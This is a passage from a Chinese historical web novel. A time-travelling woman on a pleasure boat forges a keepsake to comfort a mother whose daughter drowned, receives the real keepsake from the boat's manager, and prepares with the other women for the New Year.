他几次提醒钟管事不要这么做,万一哪天人跑了,他们不好交代。 但钟管事依旧不理。 所以刁氏,再一众船娘中,也算是最为自由的特殊存在了。 她是为了陪女儿才自愿上船,所以不用赵大防着,她压根也没想过要走。 刁氏把这一切和褚朝云说了一遍。 虽说如今距离囡囡身死已经过去整整十年,可当年没能下河去捞尸首的遗憾,在妇人心中始终是一个疙瘩。 直到那日宋谨他们下去打捞随青,刁氏心中才生出了一丝疑惑。 当年来报信的小厮就是钟管事府上的人,既然花灯那晚就已经看到了囡囡落水,为何那时不来通知她,非要等过了十五再来? 在刁氏心中,钟纯心不算是坏人,所以这许多年里,她从没有哪一刻是怀疑过钟纯心的。 直到亲眼看见宋谨解下绑住随青身体的麻绳,将那石块送到了岸上,刁氏的噩梦才接连不断地做了起来。 梦里,她的囡囡也被人绑住了手脚。 所以尸首才这么多年都浮不上来。 她的囡囡虽然脑瓜不清醒,可也知晓会摇铃铛来逗她笑。 这样一个听话的女娃,真的会不告而别,独自一人跑到蕤河那边去么? 当年的她,被丧女痛楚打击的如同行尸走肉,每日只想见到囡囡,然后亲手抱一抱她。 噩梦醒来的那刻,她无时无刻不恨自己的愚蠢。 如果囡囡真的是被人害了,她恐怕死了都不能瞑目。 刁氏没把这件事托付给徐香荷,倒不是不信任她,只是在妇人眼里,徐香荷的胆子和见识都不如褚朝云那般大。 所以她唯有耐心等待,等待褚朝云从长业寺回来,好请她帮着自己下河去寻一寻。 如果河底有尸骨,即便化成了白骨,也还是能寻到的。 褚朝云入水之后,就摸着黑向下游去。 如果能选择白天下去,她是怎么都不愿这会儿下河的。 其实她最初想托付宋谨的并不是找铃铛一事,而是想拜托宋小哥白日下水去寻囡囡,但又一想,他们抬尸工想下去,也必须要岳常的首肯才行。 擅自行动难免会丢了差事。 宋谨帮过她许多次,她不能害了人家。 不过当褚朝云听完囡囡的故事之后,女子的心却直接就沉到了谷底。 “你脚下所站的位置,曾经出过一条人命。” “七八岁的年纪就这么没了,也不知是福还是祸。” 人命? 七八岁的年纪? 褚朝云不得不怀疑,那晚钟管事跟她所讲之人,就是刁氏的女儿囡囡。 可若按照钟管事的话来推测,囡囡根本不是从栏杆上跌落入水,而是从花船上掉下去的。 或许囡囡死的时候,钟管事就站在船上看着她。 那为什么不救人? 就那么眼睁睁看着一个小女孩溺水而亡,钟纯心到底为什么不肯救人呢? 褚朝云猜测过,或许囡囡就是被钟纯心给推下去的。 可钟管事跟她说起此事时的神情,眼中只有无奈和悲凉,却并没有片刻的心虚。 钟管事并不是个善于掩饰情绪之人,所以,这便不得不让褚朝云又打消了念头。 但无论这件事的真相是什么,她都觉得囡囡大概已经不在蕤河里,至少不会还停留在西码头的那一片区域。 可刁氏的心结总要解开。 褚朝云落到河底,一边往可能会出现尸骨的地方摸去,一边将红绳穿起来的小铃铛握在手中。 她抓了一把河底的淤泥,试图让泥水渗进红绳和铃铛里。 这是她托宋谨仿制的,依据的就是刁氏的描述。 时隔太久,刁氏也不太能说得清楚那小铃铛的样子了,可市面上铃铛有好几种,若是挑错了,这计谋便会被轻而易举的揭破。 同刁氏结识一场,又同为女子,褚朝云不愿妇人总活在悲痛之中。 所以这假的遗物,也不过是个宽心的善意谎言罢了。 褚朝云尽力的在水下寻找,几次上来换气之后又潜回去,假遗物归假遗物,但这事她既然应了,也必定会尽心到底。 可寻了足足半个时辰后,褚朝云仍旧一无所获。 她回来船上,坐在船板处不停地吸气,感受到胸腔内被挤压光了氧气再度回来,脸色才好看了些。 见刁氏游魂一样的盯着水面,褚朝云脱下袯襫,轻轻说道:“其实没寻到,也不是坏事。” 刁氏木讷地望过来,眼带希冀的看向她。 褚朝云默默叹息一声,继续说道:“或许囡囡并没有死,也或许……她即便真是落水了,也不似随青娘子那般,是被歹人所害的。” 刁氏张了张口,进而低下头,喉咙里咕哝一声:“没有尸首,囡囡的身体就没有被石头绑住……她还有活着的希望,万一被好心的人救下,收留了也说不定呢……” 褚朝云见妇人无知无觉地说着话,眼角的泪珠却不停往下滴落。 她便知道,刁氏说的那些,连自己都没有办法相信。 无奈之下,她从袖口里取出红绳穿起的小铃铛,小铃铛里塞的麻线已经被取掉了,这会儿轻轻晃动,还会发出一声声的脆响。 听到铃铛声,妇人的眼眸遽然瞪大,整张面孔仿佛活过来一样。 妇人一把抢过铃铛,珍惜的捧着,贴向自己的心口,然后睁着眼睛看向褚朝云,急切问道:“这是你在水下找到的吗?这是你在水下找到的吗?!” 褚朝云缓缓点头,转眼就看到徐香荷也在身后偷偷抹泪。 女子回过头来,未免刁氏之后看出这不是囡囡戴过的那个,便小心翼翼道:“婶子,不如我们先回屋里去,您在好好辨辨,这是不是囡囡的那个。” “好、好,我们这就回,这就回!” 刁氏蹒跚着起身,徐香荷赶忙扶住她,二人一步一步绕去木梯,往暗仓里走。 褚朝云将脱下的袯襫和鞋套拎着,也跟着走了回去。 屋中的油灯被点燃,一盏不够,徐香荷把自己屋里的那盏也拿了过来。 两盏油灯照的隔间明晃晃的,刁氏将那脏污不堪的小铃铛挪到灯下,揉了揉通红的眼,模模糊糊的辨别起来。 褚朝云心中发虚,不想好心办了坏事,一走进来便追问道:“是这样的么?婶子。” 刁氏其实也记不太清了,但他们穷苦人家能买给娃的铃铛,样式都大差不大,而且只有她是用了几股红线捏成一条,穿过铃铛做成了手链。 其他娃娃,她没见过有这样弄的。 再加上这些年蕤洲的情形逐渐好转,小孩满月礼,大多是锁头一类的,也没谁再去用铃铛。 刁氏觉得,褚朝云寻到的这个,就是她囡囡戴的那个没错。 褚朝云见刁氏又哭又笑的点头,便坐下来劝说道:“无论囡囡到底去了哪儿,总归还是惦记着您,给您留下了这个。婶子,您要好好的活下去,囡囡才会开心。” …… 那夜,褚朝云和徐香荷早早回了各自的房里。 虽说他们没有再去打扰,也不知刁氏又哭了多久,总之第二天一早,妇人便恢复了正常的模样。 她将铃铛里塞了些布条,重新做了一条红绳戴在了自己手上。 褚朝云一桶一桶往盆里倒水时,刁氏就红肿着眼走了过来,“朝云,下次你再去长业寺的时候,可不可以带我一起?我想给囡囡去上一炷香,帮她祈祈福也好。” “钟管事肯同意吗?” 褚朝云虽然这么问,但潜意识里还是觉得,钟管事不会反对。 刁氏默默点头,将她拉到一旁,小声道:“我一早就跟她打了招呼,而且她也问我……还想不想继续留在这条船上。” 褚朝云没想到钟纯心竟然说话算话,真的打算放刁氏下去。 于是,也有些按捺不住焦急道:“婶子,能走便走!如今心事已了,何苦留在这里受罪?囡囡不会寂寞,不是还有我跟香荷在这里陪着她么?” 褚朝云是真心实意的,但刁氏却坚定地摇了摇头。 女子不解地望着她,刁氏却叹息道:“我哪是那等忘恩负义的小人,若非是你,我便还是不能放下心结。你如此为我,我又怎会丢下你独自下船去。” 褚朝云眼睛眨眨,又将妇人往船栏处拉了拉,然后小声道:“婶子,您如果能下船去,也可以想法子救救我们,留下来大家就都没希望了。” 她想去叫刁氏报官,刁氏自然听得懂。 可提起这个,妇人眉头便蹙得更重:“朝云,岳知府……他管不了这里的事。” 褚朝云心凉了半截。 不过凉归凉,她也明白岳常的确是不想过问。 可岳常管不了,那么蕤洲之外呢。 京都里的皇族呢? 但上京去告御状这事,显然不在刁氏的能力范围之内。 既然刁氏暂时还想不通,褚朝云只好说:“那这事咱们之后再聊。” …… 午休时,女子把刁氏和徐香荷拉进了房里,如今该做的事情都暂且了了,她才有空把埋在心里的那件事给问了出来。 “什么?” “赎身?!!!” 徐香荷听到她开口,“嗖”的一下就从床榻上蹦了起来。 褚朝云和刁氏忙把她又拽回去,警醒一句:“你小声些!” 徐香荷这才艰难的憋住了话。 关于“赎身”的事情,正是那日褚惜兰在厨房里和褚朝云提过的,只不过那时比赛在即,回来之后又是接连串的忙碌。 赎身关乎自由问题,褚朝云并非不心急,只是她总觉得这件事并不如想象中那般容易。 甚至还有风险。 她靠在床榻上,棉被一直盖到小腹,然后便把褚惜兰那日偷听到的话,一字不落学了一遍。 那日,褚惜兰接待的两位老爷喝多了酒。 迷糊间,其中一人曾说,三年前,他看中了雅间里的一位姑娘,便生出了想娶回去的念头。 于是他主动询问了两位管事。 李婆子是直接就打发了他,意思便是他想得美,给多少钱都不会放人。 但钟管事开口要了五百两,只要他同意给五百两,便同意让姑娘走。 李婆子的权利似乎不如钟管事大,见有人能给做主,那老爷便满心欢喜回家拿钱去了。 他是青州来的富户,早年尽得首富宋老爷的照应,莫说是区区五百两,哪怕是一千两,他也是出得起的。 那老爷原先是个穷光蛋,一直都没娶到夫人。 发迹之后就没再找,一个人生活的还挺习惯。 后来宋家出事,他虽惋惜宋家,也害怕会连累了自己,又听说近些年蕤洲发展的不错,这才跑来这里扎根。 换了地方之后,生意不如从前好做,有时他焦虑起来,就跑来船上喝点小酒。 那姑娘是个温柔细腻之人,屡次安抚过他,老爷这才动了心。 只不过,他最终也没能如了愿。 因为取银子回来时,便听说姑娘吃差了东西,已经丧命了。 虽说这赎身没成,但这事搁在心中,始终也有些不大痛快。 于是便趁着那日喝酒,把事情同好友讲了。 褚惜兰听了一耳朵,这才激动的跑来告诉褚朝云。 虽说他们才上船不久,但楼下的船娘们有些都是待了十几年的,既然知晓有这种事,那必定是要打听一番的。 褚朝云说完,刁氏则点点头,承认道:“你说的,确有其事。” 徐香荷一听,又亢奋起来。 只是还没等问,就被刁氏一盆冷水给浇个透心凉:“据说那云娘是误食了有毒之物,从吃过饭到毒发,一刻钟都没过,人就走了。” 褚朝云听过,心说,果然不会这么简单。 她细思极恐,手心不禁出了些汗:“所以,云娘是李婆子杀的吧。” 李婆子权势是没有钟纯心大,表面她不敢违抗,可钟纯心并非是花船真正的主人,他们上方还有大人物。 若李婆子越过钟纯心去禀报这件事,那人为了花船的事不暴露出去,杀人灭口就是最果断的方法。 也省的得罪了客人。 刁氏嘘声叹息:“岳常是不会管这里的事的,云娘死便死了,无人会查。” “这疯婆子何其歹毒!” 徐香荷怒声骂了句。 “所以赎身的事,即便是动了这个念头,也要避着李婆子才是。” 刁氏并未把话说死。 徐香荷:“可一旦提了,疯婆子总会知晓,再说……那可是五百两白银啊!!” 去哪儿弄那么多银子啊!! “那便还是先赚银子吧!” 褚朝云笑着起身。 刚推门往外走,方如梅就抱着一捧寒梅过来了。 女子笑道:“哎?哪里来的梅花?” 方如梅喜笑颜开:“钟管事叫婆子们带上船的,还有几日便是除夕了,这些梅花要拿来做装饰,都是一早新摘的,还挺香的的呢。” “送来的梅花多吗?” 褚朝云眯了眯眼,伸手碰碰梅花瓣,软软的,还有些冰。 一股沁人心脾的香味凝在她手中,便听方如梅说:“还有不少呢,我这一把是带下来分给大家的,咱们每人屋里都插一株,刚好用来熏屋子。” 徐香荷见有梅花用,立刻探头出来接走两株。 方如梅说完,又像是想起什么似的,忙喊住他们道:“对了,管事请的裁缝马上就上船来,你们快去量尺寸,衣裳可得赶着做。” 徐香荷一听还有新衣裳,简直觉得是老天开眼了。 她将梅花递给刁氏,拉住方如梅问:“什么衣裳啊婶子?这花船一到新年,还给咱们船娘做衣裳吗?” 方如梅想起他们是才刚上来的,这才站住脚,慢声解释道:“怪我没讲清楚,其实早几年蕤洲不太好时,管事是不给咱们做衣裳的。但这总归也是蕤洲最重要的风俗,近几年日子好过了,所以咱们船娘也就有份了。” “风俗?” 褚朝云听出端倪,愕然道:“做衣裳跟风俗有什么关系?莫非……这衣裳不是寻常的衣裳??” 第66章 二更 “自然不是,这是唯有新年时才会穿的。” 方如梅已经量完了尺寸,见这俩姑娘还杵在这儿,便推着他们往木梯去:“快快快,做新衣裳怎么还不积极啊!” 方婶子将二人推上去后,转头看向正往床旁插梅花的刁氏。 “刁娘子,若是真有机会,还是下船去吧。” 闻言,刁氏的手一顿。 方如梅立刻迈步进来,顺手将门带严实,然后哀叹着说:“我不知梦到过多少次岁岁,若我俩能换一换,我可是又要自私起来了。哪怕后半生给你当牛做马,拼了命,我也是要下船去的。” 刁氏听得有几分动容,也知对方跟她说的,句句都是掏心窝子的话。 她坐到床边,伸手抚摸了一下腕子上的铃铛,“你和岁岁至少还有见面的机会,可我呢……天人永隔,白发人送……不,我连送一送她的机会都没有。” 其实方如梅明白她心中的执念。 刁氏已经失去囡囡,而如今褚朝云刚好就是囡囡长大之后的年纪,所以在刁氏心里,她已经将褚朝云当成了自己的女儿。 失去囡囡的时候,她没有办法保护女儿。 如今褚朝云也身陷囹圄,刁氏不想再错过一次。 方如梅跟她都是一般大的年纪,于是伸手握了握她,又抚摸了一下那只小铃铛,“你看,又要新年了,也许囡囡就是不放心你,才用了这种方式劝说你。” “还是下船去吧,这里受限太多,而且一直用布条塞着它,慢慢它就发不出那么好听的声音了。” “可是朝云和香荷——” 刁氏垂着眼,目光里透着几分心疼。 方如梅起身出了门,临走前,说完了最后一句话:“你在船下等着他们,他们才会心有期盼。终有一日,你们会在船下相聚,到时,才算是真正的团圆啊。” …… 褚朝云被徐香荷拉着一路来了船尾,满眼的红色直晃得她眼花缭乱。 “我的天哪。” 临时抬出来的方桌上一卷一卷摆着厚厚的红布,有棉料子,也有纱料,质地轻薄的,垂感分明的,各式各样,简直比方如梅拿下去的寒梅还要艳丽。 裁缝站在一旁,正给排队量尺寸的船娘们做记录。 有人看到他们来晚了,便笑着喊人:“朝云,香荷,快来我这儿,我让你们插队~” 褚朝云笑着应了一声,却并没有插队,而是带着徐香荷老老实实排在最后面。 反正先量后量都一样,她倒是没太大兴致。 只是那红色太过鲜艳,再加上今个日头也晶亮的很,这么一照下来,远远看去,整条船都像是要发光了似的。 船娘们叽叽喳喳的小声说话,褚朝云则回头去寻了几眼。 大概钟管事知晓他们此时高兴,不愿破坏这片刻的美好,便早早下船去,也免得留下来会让大家觉得拘谨。 “我每年最开心的就是这个时候了,简直比过生辰还要高兴!” “那是,蕤洲风俗过新年要穿红嘛!” “想想这满街的红灯笼,满身的红装,再加上那又苏又甜的小饼,我好想天天过新年啊~” “听说嫁人也要穿红,喜服不也是红的吗?” “那好说,到时候选个俊俏的小郎君,我主外来他主内!” “对对对,咱们主外,叫他们主内!嘻嘻~大祁的驸马好像就是这样的呢!” 话题很快偏到郎君和驸马上,褚朝云无奈地笑笑,正百无聊赖的欣赏着河上风光,身后的徐香荷却忽的将她拉远。 二人差点脱离开队伍,幸好他们是最后两个。 “怎么了?” 褚朝云已经习惯徐香荷这一惊一乍地样子,她偏过头来低声问着。 徐香荷却笑的贼兮兮地,笑过,就趴在她耳边压着声道:“之前是我错了,是我自己认错了人,把人家好好的小哥给认成了老爷,不过我知错就改,现在立马就来改正!” “?” 徐香荷东一爬西一埽的,说的褚朝云一头雾水。 女子蹙蹙眉,纳闷道:“谁?什么老爷小哥的,说什么呢你。” 徐香荷则激动地跺脚,紧紧抓着她衣袖,声音也控制不住的放大几分:“我说宋谨啊!!” “那天他下河来捞尸体,我就站在船上看,哎呦喂!是我那晚认错了人,来送甜菜的根本不是他,而是那个渔民阿四叔。” “宋小哥长得相貌堂堂,一表人才的,啧啧啧,还真是个俏郎君呢!” 褚朝云听她开炮似的突突突说了一大串,捋顺清楚这几句话的重点,女子淡定地“哦”了一声。 “哦?” 徐香荷眼睛瞪成馍那么大,惊诧的重复:“你说哦?!!” “不然呢……” 褚朝云扶额,随即用手点点小姑娘的脑袋瓜子,懒洋洋道:“我们做衣裳是为了过新年,不是拜堂,你这么激动做什么?” 不待徐香荷表演牵红线大法,她就又笑盈盈道:“莫非那日一见,妮子你就动情了?既然你把他夸的那般好,婶子也一直说他不错,那就改日叫婶子去帮你们牵条红线。但是今天,我们就先好好做衣裳吧,收收心~” 褚朝云慢悠悠的走回去,继续排队去了。 留下徐香荷傻愣愣站在原地,徐香荷迷蒙半晌,嘴巴里还语无伦次的咕哝着:“不是……什么叫我动情?你,我……哎!!” 为了不想褚朝云误会,她几步跑上来,郑重的举着拳头发誓道:“我可没有喜欢宋谨啊,我真的没有!” 不过见说完了褚朝云还是淡淡的,她人就彻底蔫巴下来。 褚朝云自然知晓徐香荷说的是真的,只是眼下最大的愁事是怎么下船,至于什么情情爱爱的,她根本就没想过。 尺寸量到褚朝云这里时,裁缝略微讶异地看她一眼。 褚朝云观察到对方的表情,不解道:“可是有何不妥吗?” 裁缝摇摇头,随即笑道:“姑娘身量高挑,身型纤瘦,这难得的好身材无论穿什么都是驾驭的了,我都想拉你去我铺子里打样子了。” “多谢娘子夸奖。” 褚朝云边说边展开手臂,配合着量完了尺寸。 然后一抬眼,就瞟见三层之上的栏杆旁,李婆子正一边嗑着瓜子一边朝她翻着白眼。 徐香荷看到之后,厌恶的垂下眼来:“不是,我说这老货从哪里冒出来的?” 他们明明没看到李婆子上船。 褚朝云等徐香荷量完,就带着她去一旁继续干活,“别跟她起冲突,自从李二达死了之后,这刁妇就越发看咱们不顺眼,别给她发作的机会。” 徐香荷低低嗯了一声,撸起袖子忙活起来。 年节在即,长街上的剪纸灯笼也挂的七七八八了,虽说他们这条船跟码头离着还有些距离,可那芝麻小饼的香气依旧不停地往船上飘。 这两日都有新摘的寒梅送来,而程月也拜托了劳工将烤饼的工具带上了船。 寻常人家都会吃些小饼庆贺,花船上就更要准备一些供客人实用。 褚朝云比较好奇那烤饼的工具,便跟着跑来厨房看。 大祁所用的工具看着跟秤杆似的,几条铁链下方连接着一只平盘,想必就是烤盘了。 听劳工说,只要把炉灶上的锅子挪开,将其悬挂在梁上,做好的饼子放在平盘中,直接下到炉火里烤便可以了。 工具不那么冗沉,用着也很方便。 想到那日三位老板拜托她的事,褚朝云心说,既然人家有胡记芝麻小饼,那么她也有褚记梅花小饼~ “你若想用这工具来烤饼,火候必定要好好掌握才是。” 程月看出她的心思,走过来低声提醒。 褚朝云眼眸轻眨,俏皮的朝程月行了个礼:“请师父赐教!” 程月轻轻点头,“我赐教了,你就必须要给我交一份像样的成品才行,否则我用完就叫人把工具抬走。” 程月摆明在逗她,褚朝云当然听得出来。 程娘子虽说对旁人冷冷淡淡的,但自从收了她之后,说话做事倒是随意多了,不过也仅仅限于是跟她相处才会如此。 程月进厨房去忙,褚朝云就退了出来。 她正要返回船尾接着干活,便见两名戴着红幞头的少年提着几筐瓜果走了上来。 褚郁和项辰能有上船送菜这个机会,还是钟管事给提供的。 虽说二人不太识得钟管事是做什么的,可他们也发现,钟纯心的话,赵大似乎不太敢违抗。 于是二人和钟管事道了谢,提着菜筐一股脑跑了上来。 褚朝云转过身来的时候,褚郁和项辰正焦急地在寻找她。 “阿姐!” 少年一见到自己的亲姐,眼泪就控制不住地想要流出来。 褚郁比项辰矮一些,跑起来那幞头还一颠一颠,显得有些滑稽。 他急吼吼地奔过来,见四下里没什么人,就立马放下菜筐,伸手拉住了褚朝云。 “阿姐,新年快乐。” 褚郁急切地说了一句,生怕耽搁就没机会讲了。 能在新年临近之际得到亲人的祝福,这简直就是最好的新年礼物。 女子将他们拉到避人的角落后,还谨慎的往船口和楼上看了看。 赵大和李婆子都不在,或许是被钟纯心给叫走了。 褚朝云放下心来,伸手捏捏褚郁的小脸,少年太瘦了,一掐也掐不出几两肉。 “小郁,小辰,新年快乐。” 女子弯着眉眼说。 项辰见褚郁和亲人相聚,有些眼馋,但他还是很克制的没做什么,只是眼眶红红道:“阿……褚姐姐,新年快乐。” “你们既然是好朋友,就跟他一样叫我阿姐好了。” 褚朝云伸手摸了摸项辰的脑袋瓜。 项辰明显怔了下,脚下不自觉往前挪动一步,小心翼翼地询问:“真的吗?我……可以吗?” “当然可以。” 褚朝云知道项辰也是个苦命的孩子。 尤其在这么小的年纪,一朝便从众星捧月落至谷底,没绝望的活不下去,显然也是个性情坚忍的少年郎了。 项辰抿了抿唇,开口时还有些不好意思,但最后还是鼓足勇气叫了一声:“阿……姐。” “阿姐新年快乐。” 他又飞快补充道。 褚朝云应了一声,关切道:“小辰家中可有兄弟姐妹?” “有一个哥哥。” 提起这所谓的哥哥,少年脸色阴郁了下。 到底是孩子心性,不太能藏得住情绪,项辰深吸口气,又忿忿道:“他是我父亲的养子,其实也不算什么哥哥。” “但你现在有个弟弟呀。” 褚郁偏头去看他,然后得意的指指自己,“是我,嘻嘻。” 项辰“噗”的笑出一声,还伸手帮褚郁拉正了跑歪的幞头。 褚朝云见两名少年相处的好,也很是欣慰。 他们见面的时间不易过久,于是她便简断截说:“小郁小辰,你们记牢,除却彼此,万不可轻信任何一人。” 说完,又进一步提醒道:“我话中所指,是你们那里的人,即便同吃同住,也不得不防。” 两名少年与她不同,她是成年人,还有现世那些年的经验积累,可少年本就心性纯然,不容易防备谁。 人在低谷就是很容易走偏了路,一旦想法偏了,便不受控的要起害人之心。 虽同样处在谷底,可也并非人人都有良善之心。 她无法照应他们,所以唯有一次又一次的提点,以及在心中祈祷,希望这两个小的不要遇到太坏的人。 至少别害他们就好。 褚郁认真的点头回应:“阿姐怎么和宋大哥说同样的话,不过我们记下了,你放心。” “你们啊,千万别嫌阿姐啰嗦。” 褚朝云伸手分别点了点两个小家伙的鼻头,软软的,还有点凉,褚朝云觉得有点有趣。 女子笑着起身,最后又说一句:“替我跟你们宋大哥也说一句新年快乐。” 褚朝云今个忙了整整一天,不过程月得知她想做饼,倒也没急着做完饭就下了船去。 一直等到自家徒弟傍晚收工,褚朝云才有空听师父教诲。 程月教了一遍烤饼的工具要如何使用,还有火候的掌握,又听褚朝云一字不落的复述一遍,这才满意的下船去了。 褚朝云起先是想打那些寒梅的主意,可这褚记梅花小饼是做来卖的,她要是偷的太多,除非钟管事瞎了,否则很容易就发现了端倪。 既如此—— 女子大胆的在晚间截住了人,而后笑嘻嘻地开口。 “咳咳,钟管事,您能不能……” 褚朝云话还没完,钟纯心就似笑非笑的看向她:“你想做饼?” “是……” 褚朝云内心惊愕。 她不得不感叹钟管事真的是个很精明的人,不过和聪明人打交道不费力气,她实话实说总比搞些弯弯绕来的真诚。 二人依旧站在船头,也就是上一次他们“谈心”的地方。 不过此刻,褚朝云又站到了囡囡跌落下去的位置,但却不似初次听到噩耗时那般惊惧了。 钟管事瞥了她一眼,忽的转了话题:“怎么,不怕了?” 褚朝云听得出,钟纯心问的自然是有关囡囡的事。 女子摇了摇头,正要开口再把话题扭转回来,一串带着脆响的小铃铛就从对方指尖滑了出来。 “哗啦啦——” “哗啦啦——” 铃铛用破旧的红线穿着,正悬在钟纯心指缝处。 迎面一阵寒风袭来,吹得一船寒梅扑鼻,那铃铛并未被什么塞住,此刻就那么吊在对方手指处轻轻摇晃。 远处的河水被吹成连片的涟漪,两岸的红色灯笼散发着朦胧的红晕,许是剪纸灯笼还没有完全被点亮,所以显得夜里的河面如墨般暗淡。 冷风入耳,铃铛清脆,梅花扑鼻,冬雪坠地—— 其实这一幕多少有些让人觉得瘆得慌,反正这气氛并不美好。 可褚朝云却一点都不怕。 她隐隐猜到,钟纯心手里的这一串,才是囡囡真正的遗物。 伴着铃铛的响动,妇人的话幽远传来:“假的终成不了真,就算要祈福,要立衣冠冢,总要有一件真正的遗物。” “这样,孤魂才知晓何处是家。” 褚朝云压住心底的冲动,手指攥了又攥,才勉强让自己没能问出心中那句——囡囡到底是怎么死的? 因为她害怕,害怕自己会成为下一个囡囡。 还是留着性命,待日后慢慢找答案吧。 女子深沉地吸了口气,伸手接过那串铃铛。 这一刻,她忽然有些怀疑,或许这船上到处都掩藏着钟管事的耳目,一起同吃同住的船娘,乃至雅间里的姑娘。 或许她自打上船之后,一切的所作所为……这妇人其实全部都知晓。 白日里还叫褚郁和项辰要谨慎些,恐怕自己早就暴露了,被人家一直当笑话看到今日也说不定。 褚朝云呜呼哀哉,看来穿越到古代确实不那么好混。 谁说古人不够精明? 褚朝云默默接过铃铛,也没敢问钟管事是怎么知晓她伪造遗物这件事的。 她只觉得这一刻的自己脑子懵懵的,简直就跟做梦一样。 然而钟管事却不像她心里的戏那么多。 妇人归还了遗物,就自动转移了话题,“你想做饼,只有寒梅还不太够,你见过那梅树结出来的果子么?红色的,跟茱萸相似,吃起来酸甜可口,我明个给你弄一筐来。” 茱萸? 点她呢? 褚朝云心中发虚,现在连看都不敢看妇人一眼了。 也不知自己这蔫头耷脑的样子,落在对方眼里是不是有点搞笑。 反正钟管事余光扫过她后,就破天荒的笑了一声:“还是赶在除夕之前送刁氏下船吧,这两日你陪着她去趟长业寺,徐大徐二会带着你们。” 说完,妇人紧了紧披风,转身离开。 褚朝云捏紧铃铛,低头又看了看,这铃铛外观确实是和宋谨挑选的差不多,但细看还是略有不同。 她不由自主地想要追上前方妇人,见对方走的飞快,就忍不住开口道:“这遗物——” 钟纯心脚步停顿了下,忽的叹息一声,“欠了债总要还,能还一些,就是一些吧。” 褚朝云没有不识趣的继续追问。 只是神不知鬼不觉地回了暗仓,又在夜间刁氏熟睡时,偷偷的调换了铃铛。 可她不知道的是,她前脚刚从房间出来,刁氏便缓缓睁开了眼睛。 寂静的夜下,妇人双手死死攥着那还凝有梅花香味的铃铛,默默流了一行眼泪—— 囡囡,你终于回来了。 …… 钟管事的办事效率令人惊叹,褚朝云一早醒来去洗漱时,就闻到了一股子极为浓郁的梅花香。 味道是从厨房传出来的。 她快速进了洗漱房,出来时一边系头巾一边往厨房里去,果然看到厨房门旁,摆着一筐新鲜的梅花,还有一筐刚摘下来的小果子。 那果子晶莹透亮,闻着还有一点沁人的清香。 褚朝云心痒难耐,不过还是一直忍到了花船歇业,这才大张旗鼓的进了厨房。 她先是和了一团的面,又将化开放凉的猪油搅拌进面团里。 虽说吃小饼是新年的习俗,但其实并不限定于必须是芝麻馅儿的,只是胡记做芝麻饼比较拿手,所以才只卖这一种。 褚朝云取了一些果子用水洗净,又用杵臼捣碎成汁。 既然要做梅花小饼,那这烤出来的饼皮,自然也得跟梅花一样红红火火的才漂亮。 面团被汁水染红之后,剩下的梅花和果子也一起捣碎,和成了馅料。 由于程月教过她让馅料流心的秘诀,那这小饼里肯定也要用上。 褚朝云一口气做了几十小饼,又依照梅花的外观,全部捏成花朵的形状。 最后点了黑白芝麻在中间,刚好充当花蕊。 做好之后,接下来就是烤了。 只不过她是第一次烤饼,虽说有点费火,但还是选择先烤一个出来试试。 程月只是口头陈述给她听的,但这耳朵会了和真正会了还是相去甚远,总不好浪费了所有的心血。 好在梅花小饼每个只有掌心般大,烤熟也很快。 不出所料,褚朝云第一二次烤出来的饼,果然糊了,黑魆魆地还能闻到一股烧焦的味道。 但本着不浪费粮食的心理,她还是强忍着吃完了。 “诶,馅料还是出奇的好吃嘛。” 女子有点惊喜。 这小饼不仅有果子的酸甜,梅花的凛香,还增添了猪油的细腻,流心的清爽…… 一口下去满嘴爆浆,尤其咽下之后还多了几分美妙的回甜! 褚朝云的好胜心被彻底激发,开始不断地尝试起来。 从一个到两个,两个到多个,最后一口气就能烤出十几张小饼,并且还能保证每一个的火候都均匀无差。 当晚,她端着一盘梅花小饼进了刁氏房中。 煤油灯下,三人围坐一团。 从前最平常的夜,如今却成了最难得最珍贵的一晚。 三人多少都有些不舍。 静默之后,褚朝云还是笑岑岑地往二人手中分别递了一张小饼,然后眼红红道:“今夜我们娘仨提前过年。” “来,新年新气象!” “朝云预祝婶子和香荷——万事顺利,岁岁平安!” 第67章 二更 新年在即,不只花船上的船娘们要做新衣,这几日赵大也在忙碌着给劳工们做红衣裳穿。 不过男子较女子们要简洁得多,女子们的衣裙款式复杂,裁缝师也选的精心,而褚郁他们所要做的衣裳大差不差都一个样,随便量裁一下也就行了。 因着是在干活途中抽空量尺寸,劳工们也就没回居所,而是就在码头旁排起了长队。 此时此刻,长街之上红色弥漫,这迎新年的氛围算是彻底被烘托起来了。 每年到了这会儿,巡逻的衙差们便要偷懒。 再加上年前年后这一阵子,几乎不会发生什么命案,所以懒散的衙差急着休假,就会叫宋谨他们代为巡视。 宋谨,朱力和同僚里的小八卦正在街上慢慢走着,小八卦就笑呵呵开口道:“宋儿,你要不要换个红色的荷包?毕竟红色喜庆,你这要是从里红到外,说不定心里想的事就能成真了?” 闻言,宋谨还没等开口,朱力就忙不迭地过来凑热闹:“什么从里红到外?什么红色荷包?他想什么事了?” 小八卦贼兮兮一笑,刚要开口分析,宋谨就头疼的说:“我去那边,咱们分开来走。” 宋小哥倒不是不想解释荷包的事,只是害怕越讲越乱。 上次褚姑娘的油茶被他护的太紧,同僚们都笑话他半个多月。 其实他也理解,大家心里都苦,每次曾茹过来看望朱力,同僚们都艳羡着大力哥有娘子疼。 所以一遇上这种捕风捉影的事,兄弟们就稍微敏感了些,实则也没什么恶意。 宋谨急着跟他们分开,朱力则怔愣了下,随即就喊道:“宋谨,你别忘了午时去老头那儿量尺寸,今年的新衣必须得穿,不许再躲。” 宋小哥轻轻应了一声,迈步时,神色却有片刻恍惚。 青州是没有年节穿红的习俗的,可自从到了这里,几乎每一年,他都要被迫的做上一套。 可以往做出来的那些,他从未穿过。 每年除夕那夜,同僚们都去老头那里守岁,喝酒,难得享受一下来之不易的放松时刻。 只有他,不想穿红,不愿出门,唯有独自待在院子里,举头望着明月发呆。 好像没什么值得高兴的事要庆祝,所以也没必要穿。 后来,这种微不足道的小事竟然被岳常发现了。 大概是有跟他们不对付的衙差告密。 而那人却并没有单独拎出宋谨的名字来说,只是说仵作手底下那群不听话的抬尸工,敢公然忤逆知府大人的意思不去穿红。 岳常虽说不愿在这种事情上做文章,可未免破坏了吉日,还是单独找仵作说了这件事。 朱力恐怕宋谨一再违背岳常的意思,惹恼了知府会被罚俸,或者还会有更惨的事情发生,这才不得不出声提醒。 他不想在大街上说这件事,所以说完还有些后悔。 应该没谁会注意他们这些人吧? 朱力四下看看,见百姓们都各自忙碌着自己的事,这才轻呼口气放松了些。 然而,令他没注意到的是,他才喊完宋谨的名字,排队的劳工里,一双浑浊的眼就偷偷看向了宋小哥。 褚郁和项辰排在老陈之后,小孩子对做新衣裳这事还是比较积极的。 